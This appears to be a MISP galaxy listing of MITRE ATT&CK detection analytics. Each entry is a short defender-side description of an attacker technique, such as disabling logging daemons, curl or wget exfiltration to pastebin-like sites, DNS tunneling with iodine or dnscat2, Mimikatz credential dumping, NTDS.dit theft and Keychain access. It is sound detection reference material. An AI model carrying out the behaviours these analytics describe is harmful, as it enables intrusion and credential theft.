https://attack.mitre.org/detectionstrategies/DET0345#AN0977

Analytic 0887 - AN0887

Execution of commands that stop or kill processes associated with logging or security daemons (auditd, syslog, falco). Detect modifications to iptables or disabling SELinux/AppArmor enforcement. Correlate sudo/root context with abrupt service halts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0887 - AN0887"*

Table 7118. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0317#AN0887

Analytic 0878 - AN0878

Detects creation of traffic mirroring sessions (e.g., AWS VPC Traffic Mirroring, Azure vTAP) that redirect traffic from critical assets to other virtual instances, often followed by file creation or session establishment.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0878 - AN0878"*

Table 7119. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0314#AN0878

Analytic 0788 - AN0788

Use of curl, wget, or custom scripts to POST data to pastebin-like services. Defender perspective: identify chained behavior where files are compressed/read followed by HTTPS POST requests to text-sharing endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0788 - AN0788"*

Table 7120. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0284#AN0788

Analytic 0879 - AN0879

Detects execution of capture commands via CLI (`monitor capture`, `debug packet`, etc.) or unauthorized CLI access followed by logging configuration changes on Cisco/Juniper/Arista gear.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0879 - AN0879"*

Table 7121. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0314#AN0879

Analytic 0978 - AN0978

Monitor for unexpected privilege elevation operations via SAML assertion manipulation, role injection, or changes to identity mappings that result in access escalation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0978 - AN0978"*

Table 7122. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0345#AN0978

Analytic 0897 - AN0897

Office or scripting applications initiating unusual HTTPS traffic to code repository APIs with high outbound-to-inbound ratios. Defender perspective: monitor for sensitive file access in combination with network connections to github.com, gitlab.com, or bitbucket.org.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0897 - AN0897"*

Table 7123. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0318#AN0897

Analytic 0798 - AN0798

Cause→effect chain: (1) Browser/Office/reader process logs crash/segfault or abnormal sandbox message, (2) new executable/script/write occurs in $HOME (Downloads, ~/.cache, /tmp), (3) unexpected child like curl/wget/bash/python opens network connections soon after.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0798 - AN0798"*

Table 7124. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0287#AN0798

Analytic 0789 - AN0789

Processes such as osascript, curl, or office applications sending data to text storage APIs/domains. Defender perspective: anomalous clipboard or file reads by unexpected applications immediately followed by outbound HTTPS requests to pastebin-like services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0789 - AN0789"*

Table 7125. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0284#AN0789

Analytic 0987 - AN0987

Detects VIBs, scripts, or binaries placed into directories like /bin or /etc/vmware with names mimicking standard ESXi components. Also monitors unauthorized creation of services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0987 - AN0987"*

Table 7126. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0347#AN0987

Analytic 0997 - AN0997

Detection of execution of legacy scripting runtimes (e.g., older versions of Python, Bash, or PowerShell Core) lacking auditing. Monitoring for changes to EFI or system boot files indicative of downgrade-based persistence or bypass of integrity features.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0997 - AN0997"*

Table 7127. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0350#AN0997

Analytic 0799 - AN0799

Cause→effect chain: (1) App crash/abnormal termination in unified logs for Safari/Chrome/Office/Preview, (2) new files/scripts in ~/Library, ~/Downloads, /private/var/folders/*, (3) unexpected child (osascript, zsh, bash, curl) spawned by those apps, (4) new outbound connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0799 - AN0799"*

Table 7128. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0287#AN0799

Analytic 0979 - AN0979

Detect sudden privilege escalations such as IAM role changes, user-assigned privilege boundaries, or elevation via assumed roles beyond normal behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0979 - AN0979"*

Table 7129. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0345#AN0979

Analytic 0888 - AN0888

Execution of commands or APIs that disable Gatekeeper, XProtect, or system integrity protections. Detect configuration changes through unified logs. Monitor termination of system security

daemons (e.g., syspolicyd).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0888 - AN0888"*

Table 7130. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0317#AN0888

Analytic 0988 - AN0988

Identifies suspicious outbound traffic volume mismatches from processes that typically do not generate network activity, particularly over C2 protocols like HTTPS, DNS, or custom TCP/UDP ports, following file or data access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0988 - AN0988"*

Table 7131. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0348#AN0988

Analytic 0889 - AN0889

Modification of container runtime security profiles (AppArmor, seccomp) or removal of monitoring agents within containers. Detect unauthorized mounting/unmounting of host /proc or /sys to disable logging or auditing.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0889 - AN0889"*

Table 7132. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0317#AN0889

Analytic 0898 - AN0898

ESXi host processes (vmx, hostd) initiating HTTPS sessions toward external code repositories. Defender perspective: detect datastore reads followed by outbound web traffic inconsistent with administrative baselines.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0898 - AN0898"*

Table 7133. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0318#AN0898

Analytic 0899 - AN0899

Adversaries create user accounts via identity provider APIs or admin portals (e.g., Azure AD, Okta). These accounts may be assigned elevated privileges or used in chained authentication. Detection monitors Add User activity from suspicious IPs or automation sources, followed by role/permission escalation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0899 - AN0899"*

Table 7134. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0319#AN0899

Analytic 0989 - AN0989

Monitors for processes reading sensitive files then immediately initiating unusual outbound connections or bulk transfer sessions over persistent sockets, particularly with encrypted or binary payloads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0989 - AN0989"*

Table 7135. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0348#AN0989

Analytic 0998 - AN0998

Linux permission escalation behavioral chain: (1) Process creation of permission modification utilities (chmod, chown, chgrp, setfacl) with suspicious parameters indicating privilege escalation intent, (2) System call analysis revealing direct file metadata manipulation (chmod, fchmod, chown, fchown syscalls), (3) Extended attribute and ACL modifications targeting critical system paths, (4) Temporal correlation with subsequent file access or process execution from modified locations, (5) Anomalous permission patterns deviating from system baselines

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0998 - AN0998"*

Table 7136. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0351#AN0998

Analytic 0999 - AN0999

macOS permission and attribute manipulation behavioral chain: (1) Process execution of permission utilities (chmod, chown, chgrp) or macOS-specific tools (chflags) with suspicious parameters, (2) System Integrity Protection (SIP) bypass attempts through permission

modifications, (3) File flags manipulation (uchg, schg, hidden) for evasion or persistence, (4) Extended attribute (xattr) modifications affecting security metadata, (5) Unified log correlation with file system events and subsequent access patterns, (6) Gatekeeper and code signing bypass through permission/attribute manipulation

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0999 - AN0999"*

Table 7137. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0351#AN0999

Analytic 1111 - AN1111

Detects abuse of AuthorizationExecuteWithPrivileges API to gain elevated privileges via user credential prompts, typically through invocation of /usr/libexec/security_authtrampoline. Detection involves correlation of API usage, binary reputation, and prompt context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1111 - AN1111"*

Table 7138. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0395#AN1111

Analytic 1112 - AN1112

Detects suspicious access to macOS Keychain files and APIs. Observes processes invoking the 'security' utility or accessing Keychain databases directly, correlates these with abnormal parent process lineage or unexpected user context. Monitors attempts to dump, unlock, or read credential storage beyond normal application workflows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1112 - AN1112"*

Table 7139. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0396#AN1112

Analytic 1211 - AN1211

Modification or replacement of service executables due to weak file or directory permissions. Defender observes file writes to service binary paths, unexpected modifications of executables associated with registered services, and subsequent service execution of attacker-supplied binaries under elevated permissions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1211 - AN1211"*

Table 7140. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0436#AN1211

Analytic 1121 - AN1121

Detects high-frequency or anomalous DNS queries initiated by non-browser, non-system processes (e.g., PowerShell, rundll32, python.exe) used to establish command and control via DNS tunneling.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1121 - AN1121"*

Table 7141. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0400#AN1121

Analytic 1113 - AN1113

Detection of automated tools or scripts periodically transmitting data to external destinations using scheduled tasks or background processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1113 - AN1113"*

Table 7142. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0397#AN1113

Analytic 1131 - AN1131

Configuration changes to virtual TAP/mirror policies that forward traffic to unapproved destinations. Detection correlates management plane API calls with mirrored traffic observation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1131 - AN1131"*

Table 7143. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0403#AN1131

Analytic 1311 - AN1311

Monitors Mail.app database or maildir file access, automation via AppleScript, and abnormal mail rule creation using scripting or UI automation frameworks.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1311 - AN1311"*

Table 7144. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0476#AN1311

Analytic 1114 - AN1114

Background scripts (e.g., via cron) or daemons transmitting data repeatedly to remote IPs or URLs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1114 - AN1114"*

Table 7145. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0397#AN1114

Analytic 1411 - AN1411

Adversary mounts external drive to /media or /mnt then accesses or copies targeted data via shell, cp, or tar.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1411 - AN1411"*

Table 7146. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0511#AN1411

Analytic 1141 - AN1141

Spoofed outbound packets sent to amplification services from command-line tools or scripts, combined with abnormal outbound packet volume on known reflector ports

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1141 - AN1141"*

Table 7147. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0408#AN1141

Analytic 1115 - AN1115

Observation of LaunchAgents or LaunchDaemons establishing periodic external connections indicative of automated data transfer.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1115 - AN1115"*

Table 7148. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0397#AN1115

Analytic 1151 - AN1151

Inspect network telemetry for adversary attempts to blend malicious traffic with legitimate flows using VPNs, proxies, or geolocation spoofing. Defensive teams may observe anomalous tunnels, encrypted sessions to suspicious domains, or geo-mismatched IP activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1151 - AN1151"*

Table 7149. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0411#AN1151

Analytic 1511 - AN1511

Processes that normally do not initiate network communications suddenly making outbound HTTPS connections with high outbound-to-inbound data ratios. Defender view: correlation between process creation logs (e.g., Word, Excel, PowerShell) and subsequent anomalous network traffic volumes toward common web services (Dropbox, Google Drive, OneDrive).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1511 - AN1511"*

Table 7150. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0548#AN1511

Analytic 1611 - AN1611

Detects credential dumping attempts targeting the NTDS.dit database by monitoring shadow copy creation, suspicious file access to %SystemRoot%\NTDS\ntds.dit, and the use of tooling like ntdsutil.exe or volume management APIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1611 - AN1611"*

Table 7151. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0586#AN1611

Analytic 1161 - AN1161

Command-line tools (e.g., curl, rsync, wget, or custom Python scripts) used to scrape documentation systems or internal REST APIs. Unusual access patterns to knowledge base folders or shared team drives.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1161 - AN1161"*

Table 7152. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0413#AN1161

Analytic 1116 - AN1116

Office-based persistence via Office template macros, Outlook forms/rules/homepage, or registry-persistent scripts. Adversary modifies registry keys or Office application directories to load malicious scripts at startup.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1116 - AN1116"*

Table 7153. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0398#AN1116

Analytic 1117 - AN1117

Startup-based persistence mechanisms within Microsoft Office Suite like template macros and home page redirects being configured through internal automation or client-side settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1117 - AN1117"*

Table 7154. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0398#AN1117

Analytic 1171 - AN1171

Detects Automator, AppleScript, or Terminal executing curl, lftp, or TFTP for binary transfer to untrusted IPs or unusual ports.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1171 - AN1171"*

Table 7155. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0416#AN1171

Analytic 1711 - AN1711

The user can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong. Applications could be vetted for their use of the

`startForeground()` API, and could be further scrutinized if usage is found.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1711 - AN1711"*

Table 7156. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0637#AN1711

Analytic 1181 - AN1181

Use ESXi syslogs to track abnormal DNS query patterns from management agents or VMs. Identify high-frequency, low-TTL, or unresolvable domains as suspicious. Correlate with unusual management plane process activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1181 - AN1181"*

Table 7157. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0419#AN1181

Analytic 1118 - AN1118

Recurring network exfiltration initiated by scheduled or script-based processes exhibiting time-based regularity and consistent external destinations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1118 - AN1118"*

Table 7158. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0399#AN1118

Analytic 1811 - AN1811

Network service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1811 - AN1811"*

Table 7159. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0696#AN1811

Analytic 1119 - AN1119

Detection of cron-based or script-based recurring transfers where the same script, user, or destination reappears at predictable intervals.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1119 - AN1119"*

Table 7160. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0399#AN1119

Analytic 1191 - AN1191

Detects user agents or background services making unauthorized or unscheduled web API calls to cloud/web services over HTTPS.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1191 - AN1191"*

Table 7161. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0425#AN1191

Analytic 1221 - AN1221

Detects the creation, modification, or deletion of scheduled tasks through Task Scheduler, WMI, PowerShell, or API-based methods followed by execution from svchost.exe or taskeng.exe. Includes detection of hidden or anomalous scheduled tasks, especially those created under SYSTEM or suspicious user contexts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1221 - AN1221"*

Table 7162. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0441#AN1221

Analytic 1212 - AN1212

Detects adversary activity aimed at accessing LSA Secrets, including registry key export of HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets or memory scraping via tools such as Mimikatz or PowerSploit's Invoke-Mimikatz.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1212 - AN1212"*

Table 7163. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0437#AN1212

Analytic 1122 - AN1122

Detects local daemons or scripts generating outbound DNS queries with long or frequent subdomains, indicative of DNS tunneling via tools like `iodine`, `dnscat2`, or `dig` from cronjobs or reverse shells.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1122 - AN1122"*

Table 7164. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0400#AN1122

Analytic 1132 - AN1132

Unauthorized mirroring sessions initiated on routers/switches (e.g., via `monitor session`, `mirror port`) coupled with outbound traffic from mirrored interface to unexpected destinations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1132 - AN1132"*

Table 7165. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0403#AN1132

Analytic 1312 - AN1312

Correlates unusual auto-forwarding rule creation via Exchange Web Services or Outlook rules engine, presence of X-MS-Exchange-Organization-AutoForwarded headers, and logon session anomalies from abnormal IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1312 - AN1312"*

Table 7166. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0476#AN1312

Analytic 1213 - AN1213

Detects suspicious custom compression/encryption routines through anomalous script or binary execution that produces high-entropy files without standard archiving utilities. Correlates script execution, memory API usage (bitwise ops, CryptoAPI calls), and creation of archive-like files with uncommon headers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1213 - AN1213"*

Table 7167. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0438#AN1213

Analytic 1123 - AN1123

Detects scripting environments (AppleScript, osascript, curl) or non-native tools performing DNS queries with encoded subdomains, often used for data exfiltration or beaconing.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1123 - AN1123"*

Table 7168. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0400#AN1123

Analytic 1321 - AN1321

Detects tampering of IIS-based login pages (e.g., default.aspx, login.aspx) tied to VPN, OWA, or SharePoint via script injection or unexpected editor processes modifying web roots.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1321 - AN1321"*

Table 7169. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0480#AN1321

Analytic 1231 - AN1231

AppleScript, LaunchAgents, or remote login services (`ssh`, `networksetup`) establishing proxy tunnels or dynamic port forwards to external IPs or alternate local hosts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1231 - AN1231"*

Table 7170. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0445#AN1231

Analytic 1421 - AN1421

Detects use of vulnerable kernel extensions or entitlements abused via setuid or AppleScript injection chains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1421 - AN1421"*

Table 7171. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0514#AN1421

Analytic 1214 - AN1214

Detects custom archive routines by correlating script execution (Python, Perl, Bash) with creation of high-entropy files in temporary or user directories. Flags processes performing unusual bitwise operations or writing files without standard compression headers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1214 - AN1214"*

Table 7172. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0438#AN1214

Analytic 1142 - AN1142

Command-line initiated UDP traffic bursts to external reflection amplification ports using built-in scripting or binaries with network anomalies

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1142 - AN1142"*

Table 7173. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0408#AN1142

Analytic 1412 - AN1412

Adversary attaches USB drive and accesses sensitive files using Finder, cp, or bash scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1412 - AN1412"*

Table 7174. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0511#AN1412

Analytic 1241 - AN1241

Detects the redirection of syscall execution flow via modification of VDSO code stubs or GOT entries to load and execute a malicious shared object through mmap and ptrace.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1241 - AN1241"*

Table 7175. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0448#AN1241

Analytic 1124 - AN1124

Detects clients issuing DNS queries with high volume, long subdomain lengths, encoded payload patterns, or to known malicious infrastructure; indicative of DNS-based C2 channels.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1124 - AN1124"*

Table 7176. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0400#AN1124

Analytic 1251 - AN1251

Detects suspicious changes to macOS authorization and PAM plugin files. Correlates file modifications under /etc/pam.d/ or /Library/Security/SecurityAgentPlugins with unexpected authentication attempts or anomalous account usage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1251 - AN1251"*

Table 7177. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0454#AN1251

Analytic 1125 - AN1125

Detects unusual outbound DNS traffic from ESXi hosts, often from shell scripts, custom daemons, or malicious VIBs interacting with external DNS infrastructure outside the management plane.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1125 - AN1125"*

Table 7178. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0400#AN1125

Analytic 1215 - AN1215

Detects custom archiving by monitoring execution of Swift/Objective-C apps or scripts producing high-entropy files with non-standard headers. Correlates unified logs of abnormal NSFileHandle/NSData operations, memory use of XOR/bitwise operations, and file creation events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1215 - AN1215"*

Table 7179. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0438#AN1215

Analytic 1152 - AN1152

Monitor VM-level DNS and network traffic logs for adversary-controlled domains or selective response behavior (e.g., dropped requests from security scanners).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1152 - AN1152"*

Table 7180. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0411#AN1152

Analytic 1521 - AN1521

Series of authentication failures (Event ID 4625) targeting the same or similar user accounts over time from one or more remote IPs

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1521 - AN1521"*

Table 7181. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0551#AN1521

Analytic 1512 - AN1512

Processes (tar, curl, python scripts) accessing large file sets and initiating outbound HTTPS POST requests with payload sizes inconsistent with baseline activity. Defender perspective: detect abnormal sequence of file archival followed by encrypted uploads to external web services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1512 - AN1512"*

Table 7182. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0548#AN1512

Analytic 1621 - AN1621

Detects enabling of reversible password encryption in Active Directory or Group Policy, suspicious PowerShell commands modifying AD user properties, and unusual account configuration changes

correlated with policy modifications. Multi-event correlation links Group Policy edits, PowerShell command execution, and user account property changes to identify tampering with authentication encryption settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1621 - AN1621"*

Table 7183. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0589#AN1621

Analytic 1216 - AN1216

Detects the relocation of malicious executables via copy/move actions across suspicious folders (e.g., from Downloads to System32), followed by deletion of the original source or renaming to blend into legitimate binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1216 - AN1216"*

Table 7184. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0439#AN1216

Analytic 1162 - AN1162

Abuse of SaaS platforms such as Confluence, GitHub, SharePoint Online, or Slack to access excessive internal documentation or export source code/data. Includes use of tokens or browser automation from unapproved IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1162 - AN1162"*

Table 7185. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0413#AN1162

Analytic 1126 - AN1126

Creation or modification of `.plist` files in /Library/LaunchDaemons/, especially those with suspicious Program or ProgramArguments paths, combined with execution activity under launchd with elevated privileges. Detectable through correlated Unified Logs, file monitoring, and process telemetry.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1126 - AN1126"*

Table 7186. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0401#AN1126

Analytic 1612 - AN1612

Detection of suspicious enumeration of local or domain accounts via command-line tools, WMI, or scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1612 - AN1612"*

Table 7187. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0587#AN1612

Analytic 1261 - AN1261

Detection of container image build activity directly on the host using Docker or Kubernetes APIs. Defenders may observe Docker build requests, anomalous Dockerfile instructions (such as downloading code from unknown IPs), or creation of new images followed by immediate deployment. This behavior chain typically consists of an unexpected image creation event correlated with outbound network communication to non-standard or untrusted destinations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1261 - AN1261"*

Table 7188. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0459#AN1261

Analytic 1217 - AN1217

Detects binary movement or copying between untrusted and trusted paths (e.g., /tmp/ → /usr/bin/ or /etc/init.d/) that may indicate persistence attempts or cleanup of origin traces.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1217 - AN1217"*

Table 7189. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0439#AN1217

Analytic 1172 - AN1172

Detects file movement or outbound TFTP/FTP transfers from ESXi host initiated via shell commands or injected scripts, particularly from scratch partitions or /tmp.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1172 - AN1172"*

Table 7190. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0416#AN1172

Analytic 1271 - AN1271

Anomalous creation or mounting of hidden partitions or virtual file systems. Defender view: detection of registry modifications linked to non-standard file systems, suspicious disk I/O patterns, or bootkit-like behavior where hidden volumes are accessed outside normal file system APIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1271 - AN1271"*

Table 7191. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0461#AN1271

Analytic 1127 - AN1127

Unusual enumeration of services and resources through cloud APIs such as AWS CLI `describe-*`, Azure Resource Manager queries, or GCP project listings. Defender perspective includes anomalous API calls, unexpected volume of service enumeration, and correlation of discovery with recently compromised sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1127 - AN1127"*

Table 7192. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0402#AN1127

Analytic 1721 - AN1721

Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1721 - AN1721"*

Table 7193. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0644#AN1721

Analytic 1712 - AN1712

Mobile security products can detect which applications can request device administrator

permissions. Application vetting services could be extra scrutinous of applications that request device administrator permissions. The user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1712 - AN1712"*

Table 7194. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0638#AN1712

Analytic 1281 - AN1281

File access to NetworkManager connection configs and attempts to read PSK credentials from `/etc/NetworkManager/system-connections/*`.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1281 - AN1281"*

Table 7195. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0464#AN1281

Analytic 1182 - AN1182

Process execution that probes user activity artifacts (e.g., desktop files, registry history) following recent user login/unlock events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1182 - AN1182"*

Table 7196. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0420#AN1182

Analytic 1218 - AN1218

Detects movement of binaries to `~/Library/`, `/System/`, or app bundle locations, especially after initial execution or download from Safari or Mail.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1218 - AN1218"*

Table 7197. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0439#AN1218

Analytic 1128 - AN1128

Enumeration of directories, applications, or service principals through APIs such as Microsoft Graph or Okta API. Defender perspective includes unexpected listing of users, roles, applications, and abnormal access to identity management endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1128 - AN1128"*

Table 7198. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0402#AN1128

Analytic 1821 - AN1821

Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1821 - AN1821"*

Table 7199. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0702#AN1821

Analytic 1812 - AN1812

Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay. The user can view a list of device administrators and applications that have registered Accessibility services in device settings. Applications that register an Accessibility service should be scrutinized further for malicious behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1812 - AN1812"*

Table 7200. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0697#AN1812

Analytic 1291 - AN1291

Detects rogue DHCP activity by monitoring syslog for dhclient messages assigning unauthorized DNS/gateway values. Packet capture or IDS can detect multiple competing DHCP OFFERs from non-authorized servers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1291 - AN1291"*

Table 7201. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0468#AN1291

Analytic 1129 - AN1129

Discovery of SaaS services connected to productivity platforms (e.g., Microsoft 365, Google Workspace). Defender perspective includes unexpected enumeration of enabled services, API integrations, or OAuth applications tied to user accounts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1129 - AN1129"*

Table 7202. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0402#AN1129

Analytic 1219 - AN1219

Detects firmware or script relocation attempts (e.g., CLI-based `copy`, `move`, or `rename`) between temporary partitions and config startup folders on routers or switches.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1219 - AN1219"*

Table 7203. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0439#AN1219

Analytic 1192 - AN1192

Detects guest VMs or management agents issuing HTTP(S) traffic to external services without a valid patch management or backup justification.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1192 - AN1192"*

Table 7204. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0425#AN1192

Analytic 1331 - AN1331

